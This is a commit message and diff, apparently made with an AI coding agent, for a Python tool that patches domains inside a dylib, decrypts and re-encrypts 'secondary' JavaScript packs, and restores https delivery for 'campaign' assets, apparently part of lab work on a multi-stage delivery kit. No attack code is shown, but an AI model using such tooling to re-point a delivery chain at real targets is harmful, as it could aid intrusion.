Build delivery over HTTPS and flatten source/web.

Keep/restore https://%@ in type0x01/core and rewrite daily module URLs to https, and move campaign assets from source/web/<hash>/ up to source/web/ so templates match the channel artifact layout.

Co-authored-by: Cursor <cursoragent@cursor.com>

frontend/tools/patch_secondary_packs.py

@@ -23,7 +23,7 @@ from _common import (
     validate_seed_arg,
 )
 from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
-from _scheme_patch import patch_deployment_scheme_to_http
+from _scheme_patch import ensure_deployment_scheme_https
 from _path_patch import patch_initial_daily_path
 from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
 import _common
@@ -49,7 +49,7 @@ def main() -> int:
     parser.add_argument(
         "--channel-id",
         help=(
-            f"new 32-hex channel id written into type-0x01 and used as web/<id>/ "
+            f"new 32-hex channel id written into type-0x01 "
             f"(default: keep {ORIGINAL_CHANNEL_ID})"
         ),
     )
@@ -141,8 +141,8 @@ def main() -> int:
                 reporting_seed=rep,
                 label=path.name,
             )
-        # Thin type0x01: 1× https://%@ → http://%@/ for lab cleartext proxy.
-        data = patch_deployment_scheme_to_http(
+        # Thin type0x01: keep/restore 1× https://%@ (undo legacy http lab patch).
+        data = ensure_deployment_scheme_https(
             data, expect_hits=1, label=path.name
         )
         if channel != ORIGINAL_CHANNEL_ID: